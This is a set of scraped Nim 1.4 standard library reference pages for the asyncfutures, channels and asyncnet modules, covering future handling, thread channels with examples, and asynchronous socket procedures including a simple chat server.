[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L44) ``` NimAsyncContinueSuffix = "NimAsyncContinue" ``` For internal usage. Do not use. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L47) Procs ----- ``` proc getCallSoonProc(): (proc (cbproc: proc ()) {...}{.gcsafe.}) {...}{.raises: [], tags: [].} ``` Get current implementation of `callSoon`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L88) ``` proc setCallSoonProc(p: (proc (cbproc: proc ()) {...}{.gcsafe.})) {...}{.raises: [], tags: [].} ``` Change current implementation of `callSoon`. This is normally called when dispatcher from `asyncdispatcher` is initialized. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L92) ``` proc callSoon(cbproc: proc ()) {...}{.raises: [Exception], tags: [RootEffect].} ``` Call `cbproc` "soon". If async dispatcher is running, `cbproc` will be executed during next dispatcher tick. If async dispatcher is not running, `cbproc` will be executed immediately. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L96) ``` proc newFuture[T](fromProc: string = "unspecified"): owned(Future[T]) ``` Creates a new future. Specifying `fromProc`, which is a string specifying the name of the proc that this future belongs to, is a good habit as it helps with debugging. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L117) ``` proc newFutureVar[T](fromProc = "unspecified"): owned(FutureVar[T]) ``` Create a new `FutureVar`. This Future type is ideally suited for situations where you want to avoid unnecessary allocations of Futures. Specifying `fromProc`, which is a string specifying the name of the proc that this future belongs to, is a good habit as it helps with debugging. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L125) ``` proc clean[T](future: FutureVar[T]) ``` Resets the `finished` status of `future`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L135) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L135) ``` proc complete[T](future: Future[T]; val: T) ``` Completes `future` with value `val`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L192) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L192) ``` proc complete(future: Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Completes a void `future`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L202) ``` proc complete[T](future: FutureVar[T]) ``` Completes a `FutureVar`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L211) ``` proc complete[T](future: FutureVar[T]; val: T) ``` Completes a `FutureVar` with value `val`. Any previously stored value will be overwritten. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L220) ``` proc fail[T](future: Future[T]; error: ref Exception) ``` Completes `future` with `error`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L232) ``` proc clearCallbacks(future: FutureBase) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L243) ``` proc addCallback(future: FutureBase; cb: proc () {...}{.closure, gcsafe.}) {...}{. raises: [Exception], tags: [RootEffect].} ``` Adds the callbacks proc to be called when the future completes. If future has already completed then `cb` will be called immediately. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L247) ``` proc addCallback[T](future: Future[T]; cb: proc (future: Future[T]) {...}{.closure, gcsafe.}) ``` Adds the callbacks proc to be called when the future completes. If future has already completed then `cb` will be called immediately. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L257) ``` proc callback=(future: FutureBase; cb: proc () {...}{.closure, gcsafe.}) {...}{. raises: [Exception], tags: [RootEffect].} ``` Clears the list of callbacks and sets the callback proc to be called when the future completes. If future has already completed then `cb` will be called immediately. It's recommended to use `addCallback` or `then` instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L267) ``` proc callback=[T](future: Future[T]; cb: proc (future: Future[T]) {...}{.closure, gcsafe.}) ``` Sets the callback proc to be called when the future completes. If future has already completed then `cb` will be called immediately. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L276) ``` proc `$`(stackTraceEntries: seq[StackTraceEntry]): string {...}{. raises: [ValueError], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L312) ``` proc read[T](future: Future[T] | FutureVar[T]): T ``` Retrieves the value of `future`. Future must be finished otherwise this function will fail with a `ValueError` exception. If the result of the future is an error then that error will be raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L379) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L379) ``` proc readError[T](future: Future[T]): ref Exception ``` Retrieves the exception stored in `future`. An `ValueError` exception will be thrown if no exception exists in the specified Future. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L397) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L397) ``` proc mget[T](future: FutureVar[T]): var T ``` Returns a mutable value stored in `future`. Unlike `read`, this function will not raise an exception if the Future has not been finished. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L406) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L406) ``` proc finished(future: FutureBase | FutureVar): bool ``` Determines whether `future` has completed. `True` may indicate an error or a value. Use `failed` to distinguish. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L413) ``` proc failed(future: FutureBase): bool {...}{.raises: [], tags: [].} ``` Determines whether `future` completed with an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L422) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L422) ``` proc asyncCheck[T](future: Future[T]) ``` Sets a callback on `future` which raises an exception if the future finished with an error. This should be used instead of `discard` to discard void futures, or use `waitFor` if you need to wait for the future's completion. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L426) ``` proc `and`[T, Y](fut1: Future[T]; fut2: Future[Y]): Future[void] ``` Returns a future which will complete once both `fut1` and `fut2` complete. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L441) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L441) ``` proc `or`[T, Y](fut1: Future[T]; fut2: Future[Y]): Future[void] ``` Returns a future which will complete once either `fut1` or `fut2` complete. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L457) ``` proc all[T](futs: varargs[Future[T]]): auto ``` Returns a future which will complete once all futures in `futs` complete. If the argument is empty, the returned future completes immediately. If the awaited futures are not `Future[void]`, the returned future will hold the values of all awaited futures in a sequence. If the awaited futures *are* `Future[void]`, this proc returns `Future[void]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncfutures.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncfutures.nim#L469) nim channels channels ======== Channel support for threads. **Note**: This is part of the system module. Do not import it directly. To activate thread support compile with the `--threads:on` command line switch. **Note:** Channels are designed for the `Thread` type. They are unstable when used with `spawn` **Note:** The current implementation of message passing does not work with cyclic data structures. **Note:** Channels cannot be passed between threads. Use globals or pass them by `ptr`. Example ------- The following is a simple example of two different ways to use channels: blocking and non-blocking. ``` # Be sure to compile with --threads:on. # The channels and threads modules are part of system and should not be # imported. import os # Channels can either be: # - declared at the module level, or # - passed to procedures by ptr (raw pointer) -- see note on safety. # # For simplicity, in this example a channel is declared at module scope. # Channels are generic, and they include support for passing objects between # threads. # Note that objects passed through channels will be deeply copied. var chan: Channel[string] # This proc will be run in another thread using the threads module. proc firstWorker() = chan.send("Hello World!") # This is another proc to run in a background thread. This proc takes a while # to send the message since it sleeps for 2 seconds (or 2000 milliseconds). proc secondWorker() = sleep(2000) chan.send("Another message") # Initialize the channel. chan.open() # Launch the worker. var worker1: Thread[void] createThread(worker1, firstWorker) # Block until the message arrives, then print it out. echo chan.recv() # "Hello World!" # Wait for the thread to exit before moving on to the next example. worker1.joinThread() # Launch the other worker. var worker2: Thread[void] createThread(worker2, secondWorker) # This time, use a non-blocking approach with tryRecv. # Since the main thread is not blocked, it could be used to perform other # useful work while it waits for data to arrive on the channel. while true: let tried = chan.tryRecv() if tried.dataAvailable: echo tried.msg # "Another message" break echo "Pretend I'm doing useful work..." # For this example, sleep in order not to flood stdout with the above # message. sleep(400) # Wait for the second thread to exit before cleaning up the channel. worker2.joinThread() # Clean up the channel. chan.close() ``` ### Sample output The program should output something similar to this, but keep in mind that exact results may vary in the real world: ``` Hello World! Pretend I'm doing useful work... Pretend I'm doing useful work... Pretend I'm doing useful work... Pretend I'm doing useful work... Pretend I'm doing useful work... Another message ``` ### Passing Channels Safely Note that when passing objects to procedures on another thread by pointer (for example through a thread's argument), objects created using the default allocator will use thread-local, GC-managed memory. Thus it is generally safer to store channel objects in global variables (as in the above example), in which case they will use a process-wide (thread-safe) shared heap. However, it is possible to manually allocate shared memory for channels using e.g. `system.allocShared0` and pass these pointers through thread arguments: ``` proc worker(channel: ptr Channel[string]) = let greeting = channel[].recv() echo greeting proc localChannelExample() = # Use allocShared0 to allocate some shared-heap memory and zero it. # The usual warnings about dealing with raw pointers apply. Exercise caution. var channel = cast[ptr Channel[string]]( allocShared0(sizeof(Channel[string])) ) channel[].open() # Create a thread which will receive the channel as an argument. var thread: Thread[ptr Channel[string]] createThread(thread, worker, channel) channel[].send("Hello from the main thread!") # Clean up resources. thread.joinThread() channel[].close() deallocShared(channel) localChannelExample() # "Hello from the main thread!" ``` Types ----- ``` Channel*[TMsg] {...}{.gcsafe.} = RawChannel ``` a channel for thread communication [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/channels.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/channels.nim#L154) Procs ----- ``` proc send*[TMsg](c: var Channel[TMsg]; msg: sink TMsg) {...}{.inline.} ``` Sends a message to a thread. `msg` is deeply copied. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/channels.nim#L367) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/channels.nim#L367) ``` proc trySend*[TMsg](c: var Channel[TMsg]; msg: sink TMsg): bool {...}{.inline.} ``` Tries to send a message to a thread. `msg` is deeply copied. Doesn't block. Returns `false` if the message was not sent because number of pending items in the channel exceeded `maxItems`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/channels.nim#L373) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/channels.nim#L373) ``` proc recv*[TMsg](c: var Channel[TMsg]): TMsg ``` Receives a message from the channel `c`. This blocks until a message has arrived! You may use [peek proc](#peek,Channel%5BTMsg%5D) to avoid the blocking. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/channels.nim#L398) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/channels.nim#L398) ``` proc tryRecv*[TMsg](c: var Channel[TMsg]): tuple[dataAvailable: bool, msg: TMsg] ``` Tries to receive a message from the channel `c`, but this can fail for all sort of reasons, including contention. If it fails, it returns `(false, default(msg))` otherwise it returns `(true, msg)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/channels.nim#L408) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/channels.nim#L408) ``` proc peek*[TMsg](c: var Channel[TMsg]): int ``` Returns the current number of messages in the channel `c`. Returns -1 if the channel has been closed. **Note**: This is dangerous to use as it encourages races. It's much better to use [tryRecv proc](#tryRecv,Channel%5BTMsg%5D) instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/channels.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/channels.nim#L423) ``` proc open*[TMsg](c: var Channel[TMsg]; maxItems: int = 0) ``` Opens a channel `c` for inter thread communication. The `send` operation will block until number of unprocessed items is less than `maxItems`. For unlimited queue set `maxItems` to 0. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/channels.nim#L437) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/channels.nim#L437) ``` proc close*[TMsg](c: var Channel[TMsg]) ``` Closes a channel `c` and frees its associated resources. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/channels.nim#L446) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/channels.nim#L446) ``` proc ready*[TMsg](c: var Channel[TMsg]): bool ``` Returns true if some thread is waiting on the channel `c` for new messages. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/channels.nim#L450) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/channels.nim#L450)
programming_docs
nim asyncnet asyncnet ======== This module implements a high-level asynchronous sockets API based on the asynchronous dispatcher defined in the `asyncdispatch` module. Asynchronous IO in Nim ---------------------- Async IO in Nim consists of multiple layers (from highest to lowest): * `asyncnet` module * Async await * `asyncdispatch` module (event loop) * `selectors` module Each builds on top of the layers below it. The selectors module is an abstraction for the various system `select()` mechanisms such as epoll or kqueue. If you wish you can use it directly, and some people have done so [successfully](http://goran.krampe.se/2014/10/25/nim-socketserver/). But you must be aware that on Windows it only supports `select()`. The async dispatcher implements the proactor pattern and also has an implementation of IOCP. It implements the proactor pattern for other OS' via the selectors module. Futures are also implemented here, and indeed all the procedures return a future. The final layer is the async await transformation. This allows you to write asynchronous code in a synchronous style and works similar to C#'s await. The transformation works by converting any async procedures into an iterator. This is all single threaded, fully non-blocking and does give you a lot of control. In theory you should be able to work with any of these layers interchangeably (as long as you only care about non-Windows platforms). For most applications using `asyncnet` is the way to go as it builds over all the layers, providing some extra features such as buffering. SSL === SSL can be enabled by compiling with the `-d:ssl` flag. You must create a new SSL context with the `newContext` function defined in the `net` module. You may then call `wrapSocket` on your socket using the newly created SSL context to get an SSL socket. Examples -------- ### Chat server The following example demonstrates a simple chat server. ``` import asyncnet, asyncdispatch var clients {.threadvar.}: seq[AsyncSocket] proc processClient(client: AsyncSocket) {.async.} = while true: let line = await client.recvLine() if line.len == 0: break for c in clients: await c.send(line & "\c\L") proc serve() {.async.} = clients = @[] var server = newAsyncSocket() server.setSockOpt(OptReuseAddr, true) server.bindAddr(Port(12345)) server.listen() while true: let client = await server.accept() clients.add client asyncCheck processClient(client) asyncCheck serve() runForever() ``` Imports ------- <since>, <asyncdispatch>, <nativesockets>, <net>, <os>, <openssl> Types ----- ``` AsyncSocket = ref AsyncSocketDesc ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L130) Procs ----- ``` proc newAsyncSocket(fd: AsyncFD; domain: Domain = AF_INET; sockType: SockType = SOCK_STREAM; protocol: Protocol = IPPROTO_TCP; buffered = true; inheritable = defined(nimInheritHandles)): owned(AsyncSocket) {...}{. raises: [OSError], tags: [].} ``` Creates a new `AsyncSocket` based on the supplied params. The supplied `fd`'s non-blocking state will be enabled implicitly. If `inheritable` is false (the default), the supplied `fd` will not be inheritable by child processes. **Note**: This procedure will **NOT** register `fd` with the global async dispatcher. You need to do this manually. If you have used `newAsyncNativeSocket` to create `fd` then it's already registered. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L132) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L132) ``` proc newAsyncSocket(domain: Domain = AF_INET; sockType: SockType = SOCK_STREAM; protocol: Protocol = IPPROTO_TCP; buffered = true; inheritable = defined(nimInheritHandles)): owned(AsyncSocket) {...}{. raises: [OSError, Exception], tags: [RootEffect].} ``` Creates a new asynchronous socket. This procedure will also create a brand new file descriptor for this socket. If `inheritable` is false (the default), the new file descriptor will not be inheritable by child processes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L160) ``` proc getLocalAddr(socket: AsyncSocket): (string, Port) {...}{. raises: [OSError, Exception], tags: [].} ``` Get the socket's local address and port number. This is high-level interface for getsockname. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L175) ``` proc getPeerAddr(socket: AsyncSocket): (string, Port) {...}{. raises: [OSError, Exception], tags: [].} ``` Get the socket's peer address and port number. This is high-level interface for getpeername. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L181) ``` proc newAsyncSocket(domain, sockType, protocol: cint; buffered = true; inheritable = defined(nimInheritHandles)): owned(AsyncSocket) {...}{. raises: [OSError, Exception], tags: [RootEffect].} ``` Creates a new asynchronous socket. This procedure will also create a brand new file descriptor for this socket. If `inheritable` is false (the default), the new file descriptor will not be inheritable by child processes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L187) ``` proc dial(address: string; port: Port; protocol = IPPROTO_TCP; buffered = true): owned( Future[AsyncSocket]) {...}{.raises: [Exception, ValueError], tags: [RootEffect].} ``` Establishes connection to the specified `address`:`port` pair via the specified protocol. The procedure iterates through possible resolutions of the `address` until it succeeds, meaning that it seamlessly works with both IPv4 and IPv6. Returns AsyncSocket ready to send or receive data. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L281) ``` proc connect(socket: AsyncSocket; address: string; port: Port): owned( Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Connects `socket` to server at `address:port`. Returns a `Future` which will complete when the connection succeeds or an error occurs. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L292) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L292) ``` proc recvInto(socket: AsyncSocket; buf: pointer; size: int; flags = {SafeDisconn}): owned(Future[int]) {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Reads **up to** `size` bytes from `socket` into `buf`. For buffered sockets this function will attempt to read all the requested data. It will read this data in `BufferSize` chunks. For unbuffered sockets this function makes no effort to read all the data requested. It will return as much data as the operating system gives it. If socket is disconnected during the recv operation then the future may complete with only a part of the requested data. If socket is disconnected and no data is available to be read then the future will complete with a value of `0`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L334) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L334) ``` proc recv(socket: AsyncSocket; size: int; flags = {SafeDisconn}): owned( Future[string]) {...}{.raises: [Exception, ValueError], tags: [RootEffect].} ``` Reads **up to** `size` bytes from `socket`. For buffered sockets this function will attempt to read all the requested data. It will read this data in `BufferSize` chunks. For unbuffered sockets this function makes no effort to read all the data requested. It will return as much data as the operating system gives it. If socket is disconnected during the recv operation then the future may complete with only a part of the requested data. If socket is disconnected and no data is available to be read then the future will complete with a value of `""`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L382) ``` proc send(socket: AsyncSocket; buf: pointer; size: int; flags = {SafeDisconn}): owned( Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Sends `size` bytes from `buf` to `socket`. The returned future will complete once all data has been sent. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L434) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L434) ``` proc send(socket: AsyncSocket; data: string; flags = {SafeDisconn}): owned( Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Sends `data` to `socket`. The returned future will complete once all data has been sent. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L448) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L448) ``` proc acceptAddr(socket: AsyncSocket; flags = {SafeDisconn}; inheritable = defined(nimInheritHandles)): owned( Future[tuple[address: string, client: AsyncSocket]]) {...}{. raises: [Exception, ValueError, OSError], tags: [RootEffect].} ``` Accepts a new connection. Returns a future containing the client socket corresponding to that connection and the remote address of the client. If `inheritable` is false (the default), the resulting client socket will not be inheritable by child processes. The future will complete when the connection is successfully accepted. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L461) ``` proc accept(socket: AsyncSocket; flags = {SafeDisconn}): owned( Future[AsyncSocket]) {...}{.raises: [Exception, ValueError, OSError], tags: [RootEffect].} ``` Accepts a new connection. Returns a future containing the client socket corresponding to that connection. If `inheritable` is false (the default), the resulting client socket will not be inheritable by child processes. The future will complete when the connection is successfully accepted. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L485) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L485) ``` proc recvLineInto(socket: AsyncSocket; resString: FutureVar[string]; flags = {SafeDisconn}; maxLength = MaxLineLength): owned( Future[void]) {...}{.raises: [ValueError, Exception], tags: [RootEffect].} ``` Reads a line of data from `socket` into `resString`. If a full line is read `\r\L` is not added to `line`, however if solely `\r\L` is read then `line` will be set to it. If the socket is disconnected, `line` will be set to `""`. If the socket is disconnected in the middle of a line (before `\r\L` is read) then line will be set to `""`. The partial line **will be lost**. The `maxLength` parameter determines the maximum amount of characters that can be read. `resString` will be truncated after that. **Warning**: The `Peek` flag is not yet implemented. **Warning**: `recvLineInto` on unbuffered sockets assumes that the protocol uses `\r\L` to delimit a new line. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L504) ``` proc recvLine(socket: AsyncSocket; flags = {SafeDisconn}; maxLength = MaxLineLength): owned(Future[string]) {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Reads a line of data from `socket`. Returned future will complete once a full line is read or an error occurs. If a full line is read `\r\L` is not added to `line`, however if solely `\r\L` is read then `line` will be set to it. If the socket is disconnected, `line` will be set to `""`. If the socket is disconnected in the middle of a line (before `\r\L` is read) then line will be set to `""`. The partial line **will be lost**. The `maxLength` parameter determines the maximum amount of characters that can be read. The result is truncated after that. **Warning**: The `Peek` flag is not yet implemented. **Warning**: `recvLine` on unbuffered sockets assumes that the protocol uses `\r\L` to delimit a new line. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L597) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L597) ``` proc listen(socket: AsyncSocket; backlog = SOMAXCONN) {...}{.tags: [ReadIOEffect], raises: [OSError].} ``` Marks `socket` as accepting connections. `Backlog` specifies the maximum length of the queue of pending connections. Raises an OSError error upon failure. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L626) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L626) ``` proc bindAddr(socket: AsyncSocket; port = Port(0); address = "") {...}{. tags: [ReadIOEffect], raises: [ValueError, OSError].} ``` Binds `address`:`port` to the socket. If `address` is "" then ADDR\_ANY will be bound. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L635) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L635) ``` proc connectUnix(socket: AsyncSocket; path: string): owned(Future[void]) {...}{. raises: [], tags: [].} ``` Binds Unix socket to `path`. This only works on Unix-style systems: Mac OS X, BSD and Linux [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L657) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L657) ``` proc bindUnix(socket: AsyncSocket; path: string) {...}{.tags: [ReadIOEffect], raises: [].} ``` Binds Unix socket to `path`. This only works on Unix-style systems: Mac OS X, BSD and Linux [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L688) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L688) ``` proc close(socket: AsyncSocket) {...}{.raises: [Exception, LibraryError, SslError], tags: [RootEffect].} ``` Closes the socket. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L710) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L710) ``` proc wrapSocket(ctx: SslContext; socket: AsyncSocket) {...}{.raises: [SslError], tags: [].} ``` Wraps a socket in an SSL context. This function effectively turns `socket` into an SSL socket. **Disclaimer**: This code is not well tested, may be very unsafe and prone to security vulnerabilities. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L736) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L736) ``` proc wrapConnectedSocket(ctx: SslContext; socket: AsyncSocket; handshake: SslHandshakeType; hostname: string = "") {...}{. raises: [SslError], tags: [].} ``` Wraps a connected socket in an SSL context. This function effectively turns `socket` into an SSL socket. `hostname` should be specified so that the client knows which hostname the server certificate should be validated against. This should be called on a connected socket, and will perform an SSL handshake immediately. **Disclaimer**: This code is not well tested, may be very unsafe and prone to security vulnerabilities. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L754) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L754) ``` proc getPeerCertificates(socket: AsyncSocket): seq[Certificate] {...}{. raises: [Exception], tags: [].} ``` Returns the certificate chain received by the peer we are connected to through the given socket. The handshake must have been completed and the certificate chain must have been verified successfully or else an empty sequence is returned. The chain is ordered from leaf certificate to root certificate. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L779) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L779) ``` proc getSockOpt(socket: AsyncSocket; opt: SOBool; level = SOL_SOCKET): bool {...}{. tags: [ReadIOEffect], raises: [OSError].} ``` Retrieves option `opt` as a boolean value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L790) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L790) ``` proc setSockOpt(socket: AsyncSocket; opt: SOBool; value: bool; level = SOL_SOCKET) {...}{.tags: [WriteIOEffect], raises: [OSError].} ``` Sets option `opt` to a boolean value specified by `value`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L796) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L796) ``` proc isSsl(socket: AsyncSocket): bool {...}{.raises: [], tags: [].} ``` Determines whether `socket` is a SSL socket. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L802) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L802) ``` proc getFd(socket: AsyncSocket): SocketHandle {...}{.raises: [], tags: [].} ``` Returns the socket's file descriptor. 